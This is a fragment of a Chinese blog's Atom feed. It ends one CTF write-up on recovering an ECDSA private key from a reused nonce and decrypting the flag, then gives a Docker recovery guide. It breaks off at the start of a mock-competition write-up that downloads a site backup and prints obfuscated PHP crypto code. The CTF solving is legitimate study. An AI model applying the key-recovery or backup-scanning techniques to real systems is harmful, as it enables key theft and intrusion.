<span class="line">            k <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">3</span> <span class="token operator">*</span> m1 <span class="token operator">*</span> m1 <span class="token operator">+</span> a<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> n1 <span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">        k <span class="token operator">=</span> <span class="token punctuation">(</span>n2 <span class="token operator">-</span> n1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span><span class="token punctuation">(</span>m2 <span class="token operator">-</span> m1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p<span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    m3 <span class="token operator">=</span> <span class="token punctuation">(</span>k <span class="token operator">*</span> k <span class="token operator">%</span> p <span class="token operator">-</span> m1 <span class="token operator">-</span> m2 <span class="token operator">+</span> p <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    n3 <span class="token operator">=</span> <span class="token punctuation">(</span>k <span class="token operator">*</span> <span class="token punctuation">(</span>m1 <span class="token operator">-</span> m3<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">-</span> n1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>m3<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token builtin">int</span><span class="token punctuation">(</span>n3<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>通过这几段有关椭圆函数的运算可以推断出<code>k</code>是使用椭圆曲线数字签名算法（ECDSA）加密的。可参考<a href="https://zhuanlan.zhihu.com/p/455030060" target="_blank" rel="noopener noreferrer">一文看懂椭圆曲线签名算法 - 知乎</a>进行求解<code>k</code>值。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">k <span class="token operator">=</span> <span class="token punctuation">(</span>z1 <span class="token operator">-</span> z2<span class="token punctuation">)</span> <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>s1 <span class="token operator">-</span> s2<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>步骤四：计算得到<code>dA</code>值</h3>
<p>根据之前的分析，可以逆向得到<code>dA</code>.</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">dA <span class="token operator">=</span> <span class="token punctuation">(</span>s1 <span class="token operator">*</span> k <span class="token operator">-</span> z1<span class="token punctuation">)</span> <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>r1<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>步骤五：反推函数得到<code>victory_encrypted_flag</code></h3>
<p>阅读“步骤二”可得<code>victory_encrypted_flag</code>的逆向代码。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">key <span class="token operator">=</span> sha256<span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>dA<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">cipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CBC<span class="token punctuation">,</span> iv<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">victory_encrypted_flag <span class="token operator">=</span> unpad<span class="token punctuation">(</span>cipher<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>encrypted_flag<span class="token punctuation">)</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>运行后得到输出值为<code>SDSRDO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}</code>，这并不是正确<code>flag</code>格式。</p>
<h3>步骤六：得到正确<code>flag</code></h3>
<p>仔细阅读代码，可以发现<code>victory_encrypted_flag</code>由<code>victory_encrypt()</code>函数得到。</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">def</span> <span class="token function">victory_encrypt</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    key <span class="token operator">=</span> key<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    key_length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span></span>
<span class="line">    plaintext <span class="token operator">=</span> plaintext<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    ciphertext <span class="token operator">=</span> <span class="token string">''</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">for</span> i<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> char<span class="token punctuation">.</span>isalpha<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">            shift <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>key<span class="token punctuation">[</span>i <span class="token operator">%</span> key_length<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span></span>
<span class="line">            encrypted_char <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span> <span class="token operator">+</span> shift<span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            ciphertext <span class="token operator">+=</span> encrypted_char</span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            ciphertext <span class="token operator">+=</span> char</span>
<span class="line"></span>
<span class="line">    <span class="token keyword">return</span> ciphertext</span>
<span class="line"></span>
<span class="line">victory_key <span class="token operator">=</span> <span class="token string">"WANGDINGCUP"</span></span>
<span class="line">victory_encrypted_flag <span class="token operator">=</span> victory_encrypt<span class="token punctuation">(</span>flag<span class="token punctuation">,</span> victory_key<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>我们反推<code>victory_encrypt()</code>得到<code>victory_decrypt()</code></p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">def</span> <span class="token function">victory_decrypt</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">	key <span class="token operator">=</span> key<span class="token punctuation">.</span> upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">	key_length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span></span>
<span class="line">	ciphertext <span class="token operator">=</span> ciphertext<span class="token punctuation">.</span> upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">	plaintext <span class="token operator">=</span> <span class="token string">''</span></span>
<span class="line"></span>
<span class="line">	<span class="token keyword">for</span> i<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">		<span class="token keyword">if</span> char<span class="token punctuation">.</span>isalpha<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">			shift <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>key<span class="token punctuation">[</span>i <span class="token operator">%</span> key_length<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span></span>
<span class="line">			decrypted_char <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span> <span class="token operator">-</span> shift <span class="token operator">+</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">			plaintext <span class="token operator">+=</span> decrypted_char</span>
<span class="line">		<span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">			plaintext <span class="token operator">+=</span> char</span>
<span class="line"></span>
<span class="line">	<span class="token keyword">return</span> plaintext</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>通过<code>victory_decrypt()</code>可以得到大写的<code>FLAG</code>，将其转换成小写<code>flag</code>即可。</p>
<h3>完整实现源码</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> binascii</span>
<span class="line"><span class="token keyword">from</span> hashlib <span class="token keyword">import</span> sha256</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> AES</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> long_to_bytes</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>Padding <span class="token keyword">import</span> unpad</span>
<span class="line"><span class="token keyword">import</span> gmpy2</span>
<span class="line"></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141</span></span>
<span class="line">r1 <span class="token operator">=</span> <span class="token number">86806104739558095745988469033305523200538774705708894815836887970976487278764</span></span>
<span class="line">r2 <span class="token operator">=</span> <span class="token number">86806104739558095745988469033305523200538774705708894815836887970976487278764</span></span>
<span class="line">s1 <span class="token operator">=</span> <span class="token number">93400851884262731807098055393482657423555590196362184363643455285862566867372</span></span>
<span class="line">s2 <span class="token operator">=</span> <span class="token number">58741027521216057788923508334695668250013849866589902683641825341545919891746</span></span>
<span class="line">z1 <span class="token operator">=</span> <span class="token number">47591695289461307212638536234394543297527537576682980326526736956079807805586</span></span>
<span class="line">z2 <span class="token operator">=</span> <span class="token number">97911075901954715147720917205165523174582665086645698292621371632896283314804</span></span>
<span class="line">k <span class="token operator">=</span> <span class="token punctuation">(</span>z1 <span class="token operator">-</span> z2<span class="token punctuation">)</span> <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>s1 <span class="token operator">-</span> s2<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line">dA <span class="token operator">=</span> <span class="token punctuation">(</span>s1 <span class="token operator">*</span> k <span class="token operator">-</span> z1<span class="token punctuation">)</span> <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>r1<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line"></span>
<span class="line">encrypted_flag_hex <span class="token operator">=</span> <span class="token string">u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936'</span></span>
<span class="line">encrypted_flag_bytes <span class="token operator">=</span> binascii<span class="token punctuation">.</span>unhexlify<span class="token punctuation">(</span>encrypted_flag_hex<span class="token punctuation">)</span></span>
<span class="line">iv <span class="token operator">=</span> encrypted_flag_bytes<span class="token punctuation">[</span><span class="token punctuation">:</span>AES<span class="token punctuation">.</span>block_size<span class="token punctuation">]</span></span>
<span class="line">encrypted_flag <span class="token operator">=</span> encrypted_flag_bytes<span class="token punctuation">[</span>AES<span class="token punctuation">.</span>block_size<span class="token punctuation">:</span><span class="token punctuation">]</span></span>
<span class="line"></span>
<span class="line">key <span class="token operator">=</span> sha256<span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>dA<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">cipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CBC<span class="token punctuation">,</span> iv<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">victory_encrypted_flag <span class="token operator">=</span> unpad<span class="token punctuation">(</span>cipher<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>encrypted_flag<span class="token punctuation">)</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">victory_decrypt</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">	key <span class="token operator">=</span> key<span class="token punctuation">.</span> upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">	key_length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span></span>
<span class="line">	ciphertext <span class="token operator">=</span> ciphertext<span class="token punctuation">.</span> upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">	plaintext <span class="token operator">=</span> <span class="token string">''</span></span>
<span class="line"></span>
<span class="line">	<span class="token keyword">for</span> i<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>ciphertext<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">		<span class="token keyword">if</span> char<span class="token punctuation">.</span>isalpha<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">			shift <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>key<span class="token punctuation">[</span>i <span class="token operator">%</span> key_length<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span></span>
<span class="line">			decrypted_char <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span> <span class="token operator">-</span> shift <span class="token operator">+</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">			plaintext <span class="token operator">+=</span> decrypted_char</span>
<span class="line">		<span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">			plaintext <span class="token operator">+=</span> char</span>
<span class="line"></span>
<span class="line">	<span class="token keyword">return</span> plaintext</span>
<span class="line"></span>
<span class="line">victory_key <span class="token operator">=</span> <span class="token string">"WANGDINGCUP"</span></span>
<span class="line">flag <span class="token operator">=</span> victory_decrypt<span class="token punctuation">(</span>victory_encrypted_flag<span class="token punctuation">,</span> victory_key<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-11-02T04:03:58.000Z</published>
  </entry>
  <entry>
    <title type="text">Docker容器消耗资源过多导致宿主机死机解决方案</title>
    <id>https://www.hestudio.net/posts/develop-note-2.html</id>
    <link href="https://www.hestudio.net/posts/develop-note-2.html"/>
    <updated>2026-02-07T13:54:55.000Z</updated>
    <summary type="html"><![CDATA[<h3>问题情况</h3>
<p>打开了一个 Docker 容器，该容器消耗系统资源超过所拥有的系统资源本身，导致机器卡死。该容器设置了<code>always</code>启动策略，每次重启都会自动启动容器。无法连接到 SSH，也无法打开 Web 管理面板，只能通过云服务商的 VNC 应急连接。</p>
<h3>解决方案</h3>
<p>将 Docker 服务完全停止，然后禁用或者删除出现问题的 Dockers 容器，最后重启 Docker 服务恢复业务。</p>
<h3>具体操作</h3>
<ol>
<li>连接到 VNC，输入账号密码连接设备（如果 SSH 仍然能正常工作的情况可以使用 SSH 直接登录）。</li>
<li>停止并停用 Docker 服务。</li>
</ol>]]></summary>
    <content type="html"><![CDATA[<h3>问题情况</h3>
<p>打开了一个 Docker 容器，该容器消耗系统资源超过所拥有的系统资源本身，导致机器卡死。该容器设置了<code>always</code>启动策略，每次重启都会自动启动容器。无法连接到 SSH，也无法打开 Web 管理面板，只能通过云服务商的 VNC 应急连接。</p>
<h3>解决方案</h3>
<p>将 Docker 服务完全停止，然后禁用或者删除出现问题的 Dockers 容器，最后重启 Docker 服务恢复业务。</p>
<h3>具体操作</h3>
<ol>
<li>连接到 VNC，输入账号密码连接设备（如果 SSH 仍然能正常工作的情况可以使用 SSH 直接登录）。</li>
<li>停止并停用 Docker 服务。</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">systemctl stop <span class="token function">docker</span></span>
<span class="line">systemctl disable <span class="token function">docker</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><ol start="3">
<li>重启服务器以彻底的关闭 Docker 服务，此时容器已经全部停止运行。</li>
<li>转到<code>/var/lib/docker/containers/</code>目录，查看目录。</li>
<li>逐一找到有问题的容器（开启哪个容器导致的死机就找哪个容器），可以进入目录查看<code>config.v2.json</code>或者<code>hostconfig.json</code>来判断容器。</li>
<li>停用或删除容器
<ol>
<li>如果删除容器，请返回容器的上一级目录，使用万恶的<code>rm -rf [容器id]</code> 删除容器。</li>
<li>如果停用容器，需要打开<code>hostconfig.json</code>，并将<code>RestartPolicy</code>的<code>name</code>改为<code>never</code>。然后打开<code>config.v2.json</code>，将<code>State</code>的<code>Running</code>参数改为<code>False</code>。</li>
</ol>
</li>
<li>启用并启动 Docker 服务。</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">systemctl <span class="token builtin class-name">enable</span> <span class="token function">docker</span></span>
<span class="line">systemctl start <span class="token function">docker</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><ol start="8">
<li>检查 Docker 状态，确保 Docker 已经正常运行。</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">systemctl status <span class="token function">docker</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>忠告！！！</h3>
<p>操作服务器环境之前要先打快照！！！</p>
]]></content>
    <category term="整活记录"/>
    <category term="Linux"/>
    <published>2024-11-01T14:46:38.000Z</published>
  </entry>
  <entry>
    <title type="text">AES-128-CBC | 网鼎杯20241026模拟 | Web3</title>
    <id>https://www.hestudio.net/posts/wdbmoni-web3.html</id>
    <link href="https://www.hestudio.net/posts/wdbmoni-web3.html"/>
    <updated>2024-12-10T14:18:03.000Z</updated>
    <summary type="html"><![CDATA[<p>尝试扫描目录，可找到<code>wwwroot</code>的备份文件，我们可以将文件下载。</p>
<figure><img src="https://img.hestudio.net/2024/10/26/671ceef67fc18.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>下载任意一个备份文件，解压文件。</p>
<figure><img src="https://img.hestudio.net/2024/10/26/671cef7930da4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>尝试扫描目录，可找到<code>wwwroot</code>的备份文件，我们可以将文件下载。</p>
<figure><img src="https://img.hestudio.net/2024/10/26/671ceef67fc18.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>下载任意一个备份文件，解压文件。</p>
<figure><img src="https://img.hestudio.net/2024/10/26/671cef7930da4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>找到特征最明显的文件（其他文件开头为大写字母，该文件开头为小写字母）
"describedssTest.php "，将其代码格式化后可得</p>
<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token function">header</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'Content-type: text/html; charset=utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$p8</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'3b7430adaed18facca7b799229138b7b'</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$a8</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0='</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$d8</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09'</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$v8</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'0329647546905494'</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token keyword">function</span> <span class="token function-definition function">e</span><span class="token punctuation">(</span><span class="token variable">$D</span><span class="token punctuation">,</span> <span class="token variable">$K</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  <span class="token variable">$cipher</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'aes-128-cbc'</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token variable">$encrypted</span> <span class="token operator">=</span> <span class="token function">openssl_encrypt</span><span class="token punctuation">(</span><span class="token variable">$D</span><span class="token punctuation">,</span> <span class="token variable">$cipher</span><span class="token punctuation">,</span> <span class="token variable">$K</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'v8'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'v8'</span><span class="token punctuation">]</span> <span class="token operator">.</span> <span class="token variable">$encrypted</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token variable">$result</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token keyword">return</span> <span class="token variable">$result</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"><span class="token keyword">function</span> <span class="token function-definition function">d</span><span class="token punctuation">(</span><span class="token variable">$D</span><span class="token punctuation">,</span> <span class="token variable">$K</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token punctuation">{</span></span>
<span class="line">  <span class="token variable">$cipher</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'aes-128-cbc'</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token variable">$decodedData</span> <span class="token operator">=</span> <span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token variable">$D</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">  <span class="token variable">$encryptedData</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$decodedData</span><span class="token punctuation">,</span> <span class="token function">openssl_cipher_iv_length</span><span class="token punctuation">(</span><span class="token variable">$cipher</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
